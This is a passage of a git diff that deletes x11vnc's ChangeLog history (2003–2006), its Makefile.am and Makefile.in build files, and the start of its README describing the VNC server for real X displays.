- * x11vnc: word tune SSL Java viewer; fix multi-certs bug. Add
- -display WAIT:cmd=FINDDISPLAY builtin script and cmd=HTTPONCE
- action. -http_ssl option for ssl subdir only. Add -rawfb RAND
- test case. improve raw_xfer() for use in inetd https transfer.
- fix bug SSH + -unixpw -> -localhost. fix bug setup cursors
- in WAIT mode. Mac OS X pty tweak.
-
-2006-06-09 Karl Runge <runge@karlrunge.com>
- * x11vnc: make -display WAIT + -unixpw work on Solaris.
-
-2006-06-08 Karl Runge <runge@karlrunge.com>
- * x11vnc: XOpenDisplay wrapper for raw xauth data, -unixpw
- su_verify() to run any cmd, -users unixpw= mode. -display WAIT:...
- modes for delayed X display opening and dynamic choosing.
-
-2006-06-03 Karl Runge <runge@karlrunge.com>
- * x11vnc: -capslock and -skip_lockkeys options. map some Alt keys
- to Latin under linuxfb. switch to new stats API. Handle more
- cases carefully when switching fb.
-
-2006-05-06 Karl Runge <runge@karlrunge.com>
- * x11vnc: improved support for webcams and tv tuners with
- video4linux /dev/video: -rawfb video, -freqtab etc.
- Convenience option for linux VT's: -rawfb cons (LinuxVNC
- method). -pipeinput builtins for video and console.
- -24to32 option to avoid 24bpp problems. "snap:" method for
- -rawfb.
-
-2006-04-26 Karl Runge <runge@karlrunge.com>
- * x11vnc: skip exit in check_openssl() if not compiled with
- libssl. set SKIP_HELP (again) in small footprint builds.
-
-2006-04-16 Karl Runge <runge@karlrunge.com>
- * x11vnc: More web proxy work for Java SSL applet and wrapper
- script ssl_vncviewer. Apache SSL gateway support for
- incoming x11vnc connections. Handle "double proxy" case.
-
-2006-04-05 Karl Runge <runge@karlrunge.com>
- * x11vnc: add FBPM support (-fbpm) for Suns. -rawfb ZERO for
- testing. Basic key+cert management utilities: -sslGenCA,
- -sslGenCert, -sslEncKey, -sslDelCert, -sslCertInfo, and
- addln features. SSL proxy connection. -storepasswd with
- no args or pw echo.
-
-2006-03-26 Karl Runge <runge@karlrunge.com>
- * x11vnc: -xinerama now on by default. In -ssl mode accept https
- applet downloads thru VNC port. -https option for 2nd https
- port. Look for classes/ssl under -http. add Java URL messages
- to final output lines. make -inetd work with -ssl (even for
- https). fix -unixpw login prompt under -scale. guard against
- clientData = NULL.
-
-2006-03-11 Karl Runge <runge@karlrunge.com>
- * x11vnc: add -ssl mode using libssl. Include Xdummy in misc.
- a few more macros for smallerfoot, etc.
-
-2006-03-08 Karl Runge <runge@karlrunge.com>
- * x11vnc: manage CLIPBOARD in addition to PRIMARY. -debug_sel
- Make reverse connections require passwords. -usepw option.
- -storepasswd w/o args prompts and writes ~/.vnc/passwd.
-
-2006-03-06 Karl Runge <runge@karlrunge.com>
- * x11vnc: switch remote control to X11VNC_REMOTE property. Put
- in -unixpw constraints for reverse connections under -inetd.
- -inetd won't quit when reverse conn client leaves. Allow keyboard
- input for viewonly -unixpw logins. "%*" utils for testing
- -unixpw. improve start time fix bugs, small screen in gui.
-
-2006-03-04 Karl Runge <runge@karlrunge.com>
- * x11vnc: -unixpw on *bsd, hpux and tru64. Add -unixpw_nis for
- non-shadow systems. check stunnel dying. check SSH_CONNECTION
- in -unixpw. gui icon tweaks, unix username.
-
-2006-03-02 Karl Runge <runge@karlrunge.com>
- * x11vnc: more tweaks to -unixpw mode. Add -gone popup mode.
- Change filexfer via -R. Tune SMALL_FOOTPRINT. gui fixes.
-
-2006-02-24 Karl Runge <runge@karlrunge.com>
- * x11vnc: -unixpw for Unix password auth, -stunnel to setup
- stunnel(1) for an SSL tunnel on the server end. Add clipboard
- input to per-client input controls.
-
-2006-02-20 Karl Runge <runge@karlrunge.com>
- * x11vnc: add SIGINT SIGQUIT handling for run_user_command(),
- set some signal handlers to SIG_DLF for forked children,
- put a timeout on port 113 connection to viewer machine.
-
-2006-02-06 Karl Runge <runge@karlrunge.com>
- * x11vnc: fix AIX build wrt h_errno.
-
-2006-02-06 Karl Runge <runge@karlrunge.com>
- * x11vnc: -8to24 more speedups; tunables for very slow machines.
-
-2006-02-04 Karl Runge <runge@karlrunge.com>
- * x11vnc: -8to24 speedups and improvements.
-
-2006-01-21 Karl Runge <runge@karlrunge.com>
- * x11vnc: -8to24 opts, use XGetSubImage. fix -threads deadlocks and
- -rawfb crash.
-
-2006-01-18 Karl Runge <runge@karlrunge.com>
- * x11vnc: -8to24 now works on default depth 8 screens.
-
-2006-01-16 Karl Runge <runge@karlrunge.com>
- * x11vnc: more tweaks to -8to24, add XGETIMAGE_8TO24 mode to call
- XGetImage() on the 8bpp regions.
-
-2006-01-14 Karl Runge <runge@karlrunge.com>
- * x11vnc: add -8to24 option for some multi-depth displays (but use
- of -overlay is preferred if supported).
-
-2006-01-12 Karl Runge <runge@karlrunge.com>
- * fix -DSMALL_FOOTPRINT=N builds.
-
-2006-01-11 Karl Runge <runge@karlrunge.com>
- * x11vnc: close fd > 2 in run_user_command(), -nocmds in crash_debug,
- fix 64bit bug for -solid.
-
-2006-01-08 Karl Runge <runge@karlrunge.com>
- * x11vnc: the big split. opts: -afteraccept and -passwdfile read:
-
-2005-12-24 Karl Runge <runge@karlrunge.com>
- * x11vnc: enhance -passwdfile features, filetransfer on by default,
- call rfbRegisterTightVNCFileTransferExtension() earlier.
-
-2005-11-28 Karl Runge <runge@karlrunge.com>
- * x11vnc: add -loop option.
-
-2005-11-25 Karl Runge <runge@karlrunge.com>
- * x11vnc: throttle load if fb update requests not taking place.
- * misc/x11vnc_pw: add utility script
-
-2005-10-22 Karl Runge <runge@karlrunge.com>
- * add tightVNC FileTransfer (-filexfer) and -DFILEXFER=1
- * -slow_fb for special purpose infrequent polling.
- * make -blackout work with copyrect clipping.
- * -blackout noptr,WxH+X+Y,... to prevent pointer from going
- into a blacked out region.
-
-2005-07-17 Karl Runge <runge@karlrunge.com>
- * more improvements to gui UE. gui requests via client_sock
- PASSWD_REQUIRED and PASSWD_UNLESS_NOPW build options.
-
-2005-07-12 Karl Runge <runge@karlrunge.com>
- * gui: remove nevershared etc., parse cmd line, bug fixes.
- * x11vnc: fix pointer queue buildup under -viewonly.
-
-2005-07-10 Karl Runge <runge@karlrunge.com>
- * more improvements to gui, default values, save-settings..
- * x11vnc scary password warnings. Release settings. -QD option.
- add \# to rc files and fix rcfile read bug.
-
-2005-07-09 Karl Runge <runge@karlrunge.com>
- * add -grab_buster helper thread to break up grabs (might not be
- need any longer due to gett XFlush-ing). Fix scrolls and
- copyrect for -clip and -id cases.
-
-2005-07-06 Karl Runge <runge@karlrunge.com>
- * many improvements to the gui. now embeds into system tray ok.
- x11vnc -debug_grabs, -printgui, -nosync
-
-2005-07-01 Karl Runge <runge@karlrunge.com>
- * support for simple "-gui tray" mode (small icon like the original
- x0rfbserver had). Can't figure how to get a tray to swallow it..
- * passwd, viewpasswd changing in tray mode.
- * allow typos like: x11vnc -R -scale 3/4
-
-2005-06-26 Karl Runge <runge@karlrunge.com>
- * track keycode state for heuristics, -sloppy_keys, -wmdt
- * add -nodbg as option
-
-2005-06-21 Karl Runge <runge@karlrunge.com>
- * reinstate "bad desktop" for wireframe.
- * extra long info and tips of XOpenDisplay fails.
-
-2005-06-18 Karl Runge <runge@karlrunge.com>
- * clean up some malloc/free problems (don't free the current cursor)
- * set DISPLAY before calling gconf, dcop under -solid
- * -inetd -q and no -o logfile implies closing stderr.
-
-2005-06-14 Karl Runge <runge@karlrunge.com>
- * -DNOGUI and -DVIEWONLY build options
- * -noskip_dups the default (windows viewer sends no ups when
- repeating)
- * HAVE_SOLARIS_XREADSCREEN and HAVE_IRIX_XREADDISPLAY
- * Alt+Button+Motion to wireframe. tunable in WIREFRAME_PARMS
- * copyrect now the default under -scale (works OK, but must
- send a cleanup update)
- * fix -pedantic and Sun cc warnings and errors (unsigned, etc..)
- * print out fatal error messages under -quiet
- * -seldir to control and debug selection transfers.
- * fix crashes on 64bit wrt unsigned long in rich cursors.
- * fix kde guessing errors
- * more scrolling and wireframe tweaks.
-
-2005-06-03 Karl Runge <runge@karlrunge.com>
- * make scrollcopyrect more or less usable under -scale
- * add -fixscreen for periodic cleanup of painting errors.
- * adjust keyrepeat scroll behavior.
-
-2005-05-30 Karl Runge <runge@karlrunge.com>
- * alter "magic cleanup key sequences" (N*Alt_L and N*Super_L)
- * dial down check_xrecord_reset() reset times.
-
-2005-05-24 Karl Runge <runge@karlrunge.com>
- * more -scrollcopyrect: GrabServer detection, autorepeat throttling,
- hack to clean screen 3,4,5 Alt_L in a row, mouse wheel detect.
- * fix bug wrt switching to single_copytile, add Darwin to shm limit.
-
-2005-05-17 Karl Runge <runge@karlrunge.com>
- * more -scrollcopyrect, -scr_term hacks for terminals.
- * -wait_ui, -nowait_bog tunables. push cursor sooner.
-
-2005-05-14 Karl Runge <runge@karlrunge.com>
- * much more work on "-scrollcopyrect" mode... getting usable.
- * remove -pointer_mode 3, shift everyone back down
- * -dbg "crash shell" for debugging
- * -add_keysyms now the default, periodically clears if needed.
- * try to autodetect if -xkb would be a good idea.
- * improve keycode guessing for -xkb mode (force ISO_Level3_Shift)
- * -remap DEAD, etc. for dead/mute keys remappings.
-
-2005-05-02 Karl Runge <runge@karlrunge.com>
- * initial support for using RECORD to detect some types of window
- scrolls. This is "-scrollcopyrect" mode, use -noscrollcopyrect
- to disable. Much tuning and painting error repair still required.
- * more build time customizations: REMOTE_DEFAULT, REMOTE_CONTROL,
- EXTERNAL_COMMANDS, NOREPEAT, WIREFRAME*, SCROLL*, ...
- * added bandwidth and latency measurements.
- * added XListHosts to -privremote check.
- * debug_* remote-control variables.
- * removed OLD_TREE stuff.
-
-2005-04-19 Karl Runge <runge@karlrunge.com>
- * somewhat safer remote-control defaults, and addnl options for
- more safe operation: -privremote, -safer, -nocmds, -unsafe
- * -wireframe, -wirecopyrect: instead of having user look at a
- slowly moving, lurching window, guess when a window is being
- moved/resized and just show a wireframe. -wirecopyrect means to
- apply rfbDoCopyRegion to the detected move as well.
- * debugging switches for X events and X damage: debug_xevents
- debug_xdamage.
- * -rawfb bugfixes. -noviewonly hack to still send UI to X.
-
-2005-04-11 Karl Runge <runge@karlrunge.com>
- * fix -clip under -rawfb, fix offset bug under file lseeking.
- * add -rawfb setup:cmd mode to initialize fb. example: misc/ranfb.pl
-
-2005-04-10 Karl Runge <runge@karlrunge.com>
- * -rawfb non X-polling (i.e. shm, mmap, lseek).
- * -pipeinput enable external user input processing command.
- * -xtrap use XESimulateXEventRequest to inject user input.
- * scaling blend for StaticGray, add :fb scaling option.
- * default password macros.
- * improve -norepeat use under -viewonly.
- * -flag flagfile to aid wrapper scripts.
- * add utility scripts, etc. dir ./misc
-
-2005-04-03 Karl Runge <runge@karlrunge.com>
- * try DEC-XTRAP on X11R5 if XTestGrabControl is missing.
- * -shiftcmap n, for 8bpp displays using < 256 color cells
- and with pixel values shifted from zero.
- * fix DAMAGE event leak after viewers disconnect.
- * -http option to try to guess where the java viewer is.
-
-2005-03-29 Karl Runge <runge@karlrunge.com>
- * build-time customizations X11VNC_SHARED, X11VNC_FOREVER,
- REMOTE_CONTROL, SMALL_FOOTPRINT for CPPFLAGS
- * fix event leaks for xkb BellNotify and ClientMessage and others,
- esp. under -nofb. make nofb work with remote control.
- * -nolookup for bad DNS setups.
- * more playing with pointer_mode: check_user_input3()
-
-2005-03-19 Karl Runge <runge@karlrunge.com>
- * scale cursors along with display. Use -scale_cursor to change
- or disable cursor scaling.
- * speed up scaling in some cases, :nb and integer magnification.
- * provide alternative arrow cursors (1-6) via -arrow n.
- * reset no autorepeat a couple times if something turns it off,
- set with -norepeat N.
- * do not take a nap if DAMAGE seems to be doing its job.
-
-2005-03-12 Karl Runge <runge@karlrunge.com>
- * support for the X DAMAGE extension to receive damage
- rectangle reports from the X server. On by default, disable
- with -noxdamage. Currently only trusts small rects
- (but see -xd_area n) and uses the rest as "hints" for the
- scanline polling.
- * -clip WxH+X+Y to show a clipped sub-region of the screen.
- * use RFC 1413 (identd) to attach a name to a client in
- friendly environments.
- * fix XAUTHORITY wrt '-auth ... -gui other:0'.
-
-2005-03-04 Karl Runge <runge@karlrunge.com>
- * add changes to couple with -listen option, in particular
- the behavior of -localhost and remote control cmds.
- * workarounds for old trees.
-
-2005-02-23 Karl Runge <runge@karlrunge.com>
- * final changes for 0.7.1 release.
-
-2005-02-21 Karl Runge <runge@karlrunge.com>
- * -nap is now the default, disable with -nonap
- * set version to 0.7.1, word tune -help, etc.
-
-2005-02-14 Karl Runge <runge@karlrunge.com>
- * cleanup -users stuff, add "lurk=" mode
- * support cde in -solid
- * simple gui mode for beginners, -gui ez,...
-
-2005-02-10 Karl Runge <runge@karlrunge.com>
- * Add -input to fine tune client input (keystroke, mouse motion,
- and button presses). Allow per-client setting via remote cntl.
- * fix bug in get_remote_port, add ip2host for client info.
-
-2005-02-09 Karl Runge <runge@karlrunge.com>
- * Add -users switch user mechanism and related utilities.
- * fix -solid for gnome and kde.
- * exit earlier on trapped XIO errors.
-
-2005-02-05 Karl Runge <runge@karlrunge.com>
- * -solid solid color background when clients are connected.
- * -opts/-? to show option names only.
-
-2005-01-23 Karl Runge <runge@karlrunge.com>
- * sync with new draw cursor mechanism, keep old way in OLD_TREE.
- * add -timeout option, change -alphablend to be default
- * -R norepeat now forces the issue (Xsession may turn it back on).
- * try :0 if no other info.
-
-2005-01-15 Karl Runge <runge@karlrunge.com>
- * adjust alpha blending parameters, -alphablend, handle 24bpp.
- * add -snapfb snapshot fb, not clear how useful it is..
- * more functions etc for -pointer_mode 4, still not finished.
- * scan_for_updates() "count only" mode.
- * increase max shm size on Linux.
- * -oa -logappend, -pm, -speeds
- * fix bugs in -allow, -R connect, screen == NULL
-
-2004-12-27 Karl Runge <runge@karlrunge.com>
- * allow -DLIBVNCSERVER_HAVE_FOO=0 override everything
- * get_xfixes_cursor() try to more carefully convert alpha channel
- to opaque pixel. Options -alphacut, -alphafrac, -alpharemove
- * more commands under remote control: rfbwait, rfbport, http,
- httpport, httpdir, enablehttpproxy, desktop, alwaysshared,
- dontdisconnect. Add to tkx11vnc.
-
-2004-12-22 Karl Runge <runge@karlrunge.com>
- * final polishing for 0.7 release, tkx11vnc tweaks
- * more careful rfbPE in pick_window, start check_user_input4()
-
-2004-12-19 Karl Runge <runge@karlrunge.com>
- * cleanup putenv, snprint, other string manip.
- * add -sync mode to remote control for better control
- * allow -remote and -query at same time.
-
-2004-12-16 Karl Runge <runge@karlrunge.com>
- * support for XFIXES extension to show the exact cursor shape,
- working on Linux/Xorg and Solaris 10. disable with -noxfixes
- * remote control mania - nearly everything can be changed dynamically!
- see the -remote/-query (aka -R/-Q) options. e.g. -R scale:5/6
- * simple gui tkx11vnc based on the remote control mechanism, see -gui
- * support for XRANDR extension, if the X screen changes size (see
- xrandr(1)), x11vnc will resize the fb. Pays to have NewFBSize viewer
- * -overlay support on IRIX with XReadDisplay (not tested).
- * RFB_MODE is set to "accept" or "gone" in environment
- * "-id pick" will let you pick the window (calls xwininfo(1)...)
- * "-pointer_mode n" replaces -old_pointer (n=1) and -old_pointer2 (n=2)
- a new mode n=3 is added (similary to nodragging, but dynamic).
- * "-sb n" screen blank timeout option is now documented.
- * renamed NON_CVS to OLD_TREE
-
-2004-08-31 Karl Runge <runge@karlrunge.com>
- * new check_user_input() pointer input algorithm, it tries to avoid
- extra-draws. still needs tuning, get previous one with -old_pointer2
- * add NON_CVS macro for building in older CVS trees.
-
-2004-08-29 Karl Runge <runge@karlrunge.com>
- * remove old mouse patch code, now use rfbSetCursor (+ workarounds)
- * changed cursor shape options (no more -mouse, ...) to '-cursor mode'
- where 'mode' can be empty "X", "some", or "most". "some" adds
- heuristics for two more cursors.
- * -nocursorshape added.
- * ifdef checks for XSHM and XTEST. Add *_wr wrappers as well.
- * -vncconnect is now the default.
-
-2004-08-15 Karl Runge <runge@karlrunge.com>
- * -overlay option to fix color problems on Sun machines with 8+24
- and 24+8 overlay visuals, uses Solaris XReadScreen().
- * expose -sid option (shifted -id windowid) to allow explicit
- wrapping of XGetImage, etc for -overlay
- * fix misc bugs: missing var types, hardwired blackouts sizes,
- subwin desktop name crash.
-
-2004-08-03 Karl Runge <runge@karlrunge.com>
- * add man page x11vnc.1 autogenerated from x11vnc -help; tweak
- help output a little bit. Adjust autoconf to pick up manpage.
- * add README from website docs.
- * zero watch_bell and use_xkb_modtweak if no XKEYBOARD
-
-2004-07-31 Karl Runge <runge@karlrunge.com>
- * -cursorpos now the default; make cursorpos work when scaling
- * fix bug with multiple adds of the same keysym for -add_keysyms
- * rewhack -help output again
- * adjust version number and output.
-
-2004-07-28 Karl Runge <runge@karlrunge.com>
- * -add_keysyms dynamically add missing keysyms to X server
-
-2004-07-26 Karl Runge <runge@karlrunge.com>
- * first pass at doing modtweak via XKEYBOARD extension (-xkb)
- * -skip_keycodes option for use with -xkb
- * reset modtweak and xkb_modtweak on event MappingNotify.
- * trap Xerror during XSendEvent/XChangeProperty.
- * fix bug requesting PRIMARY way too often.
- * more careful to check if XKeysymToString returns NULL.
- * continuation lines "\" in x11vncrc.
- * undoc'd expts: -isolevel3, -xkbcompat
-
-2004-07-19 Karl Runge <runge@karlrunge.com>
- * ignore keysyms 5-8 for keycode keymapping.
- * help to stdout for easy paging, add lastmod to help and -version.
-
-2004-07-15 Karl Runge <runge@karlrunge.com>
- * make "modtweak" the default, disable with -nomodtweak. this
- corrects ghost "< >" key on pc104 us in XFree86.
- * fix bug wrt no got_keyboard_input under modtweak
-
-2004-07-10 Karl Runge <runge@karlrunge.com>
- * -norepeat to turn off X server autorepeat when clients exist,
- (this is workaround for the repeating keystroke bug. Note that
- client side does autorepeating so not a big loss).
-
-2004-07-04 Karl Runge <runge@karlrunge.com>
- * extend -allow to re-read a file with allowed IP addresses.
- * improvements to -help text.
-
-2004-07-01 Karl Runge <runge@karlrunge.com>
- * improve scaled grid calculation to prevent drift (which causes
- drift in pixel weights and poorer tightvnc compression)
- * add ":pad" scale option, detect small fraction scale = m/n.
-
-2004-06-28 Karl Runge <runge@karlrunge.com>
- * round scaled width to multiple of 4 to make vncviewer happy.
- * allow override of above ":n4" and allow 4 point interpolation
- to be used even with shrinking ":in".
-
-2004-06-27 Karl Runge <runge@karlrunge.com>
- * speed up scaling a bit for slow machines (still all floating point)
- * add no blending option (-scale fraction:nb)
-
-2004-06-26 Karl Runge <runge@karlrunge.com>
- * add -scale fract for global (not per-client) server-side scaling
- working more or less OK, needs to be optimized at some point.
- * remove -hints/-nohints options.
-
-2004-06-17 Karl Runge <runge@karlrunge.com>
- * simple ~/.x11vncrc config file support, -rc, -norc
-
-2004-06-12 Karl Runge <runge@karlrunge.com>
- * add -clear_mods -clear_keys for (rare) case where keys are
- not being released (e.g. Ctrl-C x11vnc thru x11vnc).
- * export RFB_SERVER_IP and RFB_SERVER_PORT to -accept program
- so that the tcp 4-tuple is completely specified.
- * add -storepasswd <pass> <file> so storepasswd program not needed
-
-2004-06-05 Karl Runge <runge@karlrunge.com>
- * rearrange file for easier maintenance, indicating file breakup.
- * add RFB_CLIENT_COUNT, number of other connected clients to
- -accept and -gone commands.
-
-2004-05-27 Karl Runge <runge@karlrunge.com>
- * add view-only passwd via -viewpasswd and 2nd line of -passwdfile
-
-2004-05-21 Karl Runge <runge@karlrunge.com>
- * -accept: add view-only decision and other improvements.
- * add -gone command option for when a client leaves.
- Thanks to Jesus Alvarez for these ideas.
- * -passwdfile to keep passwd off of cmd line.
- * -o logfile send stderr to a logfile.
-
-2004-05-14 Karl Runge <runge@karlrunge.com>
- * improvements to -accept popup: yes/no buttons and timeout.
- * less fprintf under -q so '-q -inetd' has no stderr output.
-
-2004-05-08 Karl Runge <runge@karlrunge.com>
- * add -accept some-command/xmessage/popup to prompt local X11 user
- or otherwise decide to accept an incoming client.
- * clean up -Wall warnings.
-
-2004-05-05 Karl Runge <runge@karlrunge.com>
- * enable mouse button -> keystrokes mapping in -buttonmap (mousewheel)
- * enable keystroke -> mouse button mapping in -remap (touchpad paste)
- (-remap incompat ':' -> '-', sorry...)
- * shm OS blacklist (i.e. <= SunOS 5.8) -> -onetile
- * revert to check_user_input() under -nofb
- * cleanup: lastmod, remove tile_shm and update_client_pointer,
- debug output, rfbPort failure.
- * user friendly last line: 'The VNC desktop is hostname:0'
-
-2004-04-28 Karl Runge <runge@karlrunge.com>
- * -auth cmdline option for xauthority.
- * decrease default deferupdate under -nofb.
- * update_client_pointer() from Edoardo Tirtarahardja.
- * remove some assumptions about libvncserver defaults.
-
-2004-04-19 Karl Runge <runge@karlrunge.com>
- * support for cursor positions updates -cursorpos
- * option for SIGPIPE handling -sigpipe
-
-2004-04-13 Karl Runge <runge@karlrunge.com>
- * solve problem with sending selection when client initializing
- (not yet in RFB_NORMAL state). Increase delay to 15s as well.
- * when threaded: limit rfbMaxClientWait to >= 20 secs and
- increase it to a huge value unless -rfbwait is supplied.
-
-2004-04-08 Karl Runge <runge@karlrunge.com>
- * added support for blacking out regions of the screen, primarily
- for Xinerama usage, options: -blackout -xinerama
- * Xinerama workaround mouse problem on 'embedded' system,
- option -xwarppointer (XWarpPointer instead of XTEST)
- * let -remap option take key remappings on cmdline as well as file.
- * use cargs fix to test for invalid cmdline options. Add --option.
- * remove copy_tile, use copy_tiles(..., 1) instead.
-
-2004-03-10 Karl Runge <runge@karlrunge.com>
- * added reverse connection for vncconnect(1) and other means
- -vncconnect, -connect host:port, and -connect watchfile
- * added first pass at user keysym remapping feature via
- -remap file. Ignores modifier state, need to generalize.
- * debugging options for users -debug_pointer and -debug_keyboard
- * clear -passwd from argv for privacy (if OS allows).
-
-2004-02-19 Karl Runge <runge@karlrunge.com>
- * added handling of clipboard/selection exchange to/from clients,
- even holds PRIMARY which Xvnc does not do. disable with -nosel.
- use -noprimary to disable polling of PRIMARY selection.
- * added -visual option to force framebuffer visual. not really
- of general use, more for testing and workarounds (e.g. win2vnc
- fails under 8bpp index color)
- * improve cleanup and error handling WRT shm and other failures.
-
-2004-01-19 Karl Runge <runge@karlrunge.com>
- * improvements to pointer event handling primarily during window
- dragging. check_user_input() for non-threaded and pointer()
- for threaded. Revert to old way via -old_pointer option.
- * some memory I/O improvement by using copy_tiles() instead
- of copy_tile(). New one does rows of tiles at same time.
- Revert to old way via -old_copytile.
- * handle case of more mouse buttons on client than on X server.
- * added -buttonmap option for finer control over button differences.
-
-2004-01-09 Karl Runge <runge@karlrunge.com>
- * options -allow / -localhost for simple IP based access screening
- * option -nodragging to skip all screen updates during mouse drags
- (thanks to Michal Sabala)
- * option -input_skip to allow users to tune watch_loop dropthru rate
- * try to avoid wasting RAM for framebuffer under -nofb
- * cleanup wrt bpp vs. depth
-
-2003-12-08 Karl Runge <runge@karlrunge.com>
- * add Xbell support using XKEYBOARD extension (disable: -nobell)
- * add "-nofb" to disable framebuffer, i.e. mouse + keyboard only (!)
- * add "-notruecolor" to force indexed 8bpp color (when 8bpp)
- * make alias "-forever" for "-many"
-
-From Karl (x11vnc's father) on Apr 2, 2003:
-
-New option -nocursor to not display the vncviewer local cursor if user
-does not want it (also caused some problems with older vncviewers)
-
-New option -mouse to show the position of the X server mouse (i.e. lagged
-from the user's vnc cursor position). Also: -mouseX will try to show
-the a different cursor (X) when on the root background.
-
-New option -many to wait for more connections rather than exiting when
-the first client(s) disconnect.
-
-New option -flashcmap to try to follow installed colormaps under 8bpp
-indexed color as pointer is moved.
-
-New option -nap to watch for low activity and throttle down the polling
-rate. Useful on shared machines to keep the load down.
-
-Experimental option -id <windowid> to show just that window and not
-the whole display. Some remaining bugs and inconvenient behavior...
-(e.g. new toplevels can be unseen)
-
-Fixed bug on multi-headed machines where the screen number was being
-ignored in a number of places.
-
-Fixed bug wrt connect_once mode. Now just refuses new clients unless
-shared rather than terminating all clients.
-
-Try to follow changing default colormap under 8bpp indexed color
-as color cells are added.
-
-Needed to pick up HAVE_LIBPTHREAD from autoconf.
-
-defined a select() macro for usleep() since usleep is not always thread
-safe.
-
-Catch and exit on errors in the shm setup work (XShmCreateImage, shmget,...)
-and moved the creation and removal work to separate utility functions.
-
-Added signal and X error handlers to try to clean out the shm objects
-before exiting on interrupt, etc.
-
-Improved performance a bit on the memcmp() in scan_display() by checking
-the whole line first.
-
-Added a workaround when threaded where libvncserver may disconnect too
-early if it does not hear from a client (a small heartbeat is sent).
-This may not be needed any longer.
-
-If -desktop has not been prescribed, try to choose a title based on DISPLAY
-and the hostname (and window name under -id).
diff --git a/x11vnc/Makefile.am b/x11vnc/Makefile.am
deleted file mode 100644
index 12ca9f1..0000000
--- a/x11vnc/Makefile.am
+++ /dev/null
@@ -1,43 +0,0 @@
-if HAVE_SYSTEM_LIBVNCSERVER
-LDADD = @SYSTEM_LIBVNCSERVER_LIBS@ @WSOCKLIB@
-else
-LDADD = ../libvncserver/libvncserver.la ../libvncclient/libvncclient.la @WSOCKLIB@
-endif
-
-if OSX
-FRAMEWORKS = -framework ApplicationServices -framework Carbon -framework IOKit -framework Cocoa
-if OSX_OPENGL
-FRAMEWORKS += -framework OpenGL
-if HAVE_X11
-GL = /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGL.dylib
-FRAMEWORKS += -dylib_file $(GL):$(GL)
-endif
-endif
-x11vnc_LDFLAGS = $(FRAMEWORKS)
-x11vnc_CFLAGS = -ObjC
-endif
-
-SUBDIRS = misc
-DIST_SUBDIRS = misc
-
-desktopdir = $(datadir)/applications
-desktop_DATA = x11vnc.desktop
-
-man_MANS=x11vnc.1
-EXTRA_DIST=ChangeLog README RELEASE-NOTES tkx11vnc $(man_MANS) $(desktop_DATA)
-
-if CYGIPC
-LD_CYGIPC=-lcygipc
-endif
-
-bin_PROGRAMS=x11vnc
-x11vnc_SOURCES = 8to24.c appshare.c avahi.c cleanup.c connections.c cursor.c gui.c help.c inet.c keyboard.c linuxfb.c macosx.c macosxCG.c macosxCGP.c macosxCGS.c macosx_opengl.c options.c pm.c pointer.c rates.c remote.c scan.c screen.c selection.c solid.c sslcmds.c sslhelper.c uinput.c unixpw.c user.c userinput.c util.c v4l.c win_utils.c x11vnc.c x11vnc_defs.c xdamage.c xevents.c xinerama.c xkb_bell.c xrandr.c xrecord.c xwrappers.c 8to24.h allowed_input_t.h avahi.h blackout_t.h cleanup.h connections.h cursor.h enc.h enums.h gui.h help.h inet.h keyboard.h linuxfb.h macosx.h macosxCG.h macosxCGP.h macosxCGS.h macosx_opengl.h nox11.h nox11_funcs.h options.h params.h pm.h pointer.h rates.h remote.h scan.h screen.h scrollevent_t.h selection.h solid.h sslcmds.h sslhelper.h ssltools.h tkx11vnc.h uinput.h unixpw.h user.h userinput.h util.h v4l.h win_utils.h winattr_t.h x11vnc.h xdamage.h xevents.h xinerama.h xkb_bell.h xrandr.h xrecord.h xwrappers.h
-
-if HAVE_SYSTEM_LIBVNCSERVER
-INCLUDES_LIBVNCSERVER = @SYSTEM_LIBVNCSERVER_CFLAGS@
-else
-INCLUDES_LIBVNCSERVER = -I${top_srcdir}
-endif
-INCLUDES = $(INCLUDES_LIBVNCSERVER) @X_CFLAGS@ @AVAHI_CFLAGS@
-
-x11vnc_LDADD=$(LDADD) @SSL_LIBS@ @CRYPT_LIBS@ @X_LIBS@ @AVAHI_LIBS@ $(LD_CYGIPC)
diff --git a/x11vnc/Makefile.in b/x11vnc/Makefile.in
deleted file mode 100644
index a5a11ea..0000000
--- a/x11vnc/Makefile.in
+++ /dev/null
@@ -1,1532 +0,0 @@
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-# gives unlimited permission to copy and/or distribute it,
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- mostlyclean-libtool
-
-pdf: pdf-recursive
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-ps-am:
-
-uninstall-am: uninstall-binPROGRAMS uninstall-desktopDATA \
- uninstall-man
-
-uninstall-man: uninstall-man1
-
-.MAKE: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) ctags-recursive \
- install-am install-strip tags-recursive
-
-.PHONY: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) CTAGS GTAGS \
- all all-am check check-am clean clean-binPROGRAMS \
- clean-generic clean-libtool ctags ctags-recursive distclean \
- distclean-compile distclean-generic distclean-libtool \
- distclean-tags distdir dvi dvi-am html html-am info info-am \
- install install-am install-binPROGRAMS install-data \
- install-data-am install-desktopDATA install-dvi install-dvi-am \
- install-exec install-exec-am install-html install-html-am \
- install-info install-info-am install-man install-man1 \
- install-pdf install-pdf-am install-ps install-ps-am \
- install-strip installcheck installcheck-am installdirs \
- installdirs-am maintainer-clean maintainer-clean-generic \
- mostlyclean mostlyclean-compile mostlyclean-generic \
- mostlyclean-libtool pdf pdf-am ps ps-am tags tags-recursive \
- uninstall uninstall-am uninstall-binPROGRAMS \
- uninstall-desktopDATA uninstall-man uninstall-man1
-
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-# Tell versions [3.59,3.63) of GNU make to not export all variables.
-# Otherwise a system limit (for SysV at least) may be exceeded.
-.NOEXPORT:
diff --git a/x11vnc/README b/x11vnc/README
deleted file mode 100644
index e8457e6..0000000
--- a/x11vnc/README
+++ /dev/null
@@ -1,18246 +0,0 @@
-
-Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
-All rights reserved.
-
-x11vnc README file Date: Mon Dec 27 20:58:57 EST 2010
-
-The following information is taken from these URLs:
-
- http://www.karlrunge.com/x11vnc/index.html
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- ...
-
-they contain the most up to date info.
-
-
-=======================================================================
-http://www.karlrunge.com/x11vnc/index.html:
-
-
- _________________________________________________________________
-
-x11vnc: a VNC server for real X displays
- (to FAQ) (to Downloads) (to Building) (to Beta Test)
- (to Donations) [PayPal]
-
- x11vnc allows one to view remotely and interact with real X displays
- (i.e. a display corresponding to a physical monitor, keyboard, and
- mouse) with any VNC viewer. In this way it plays the role for Unix/X11
- that WinVNC plays for Windows.
-
- It has built-in SSL/TLS encryption and 2048 bit RSA authentication,
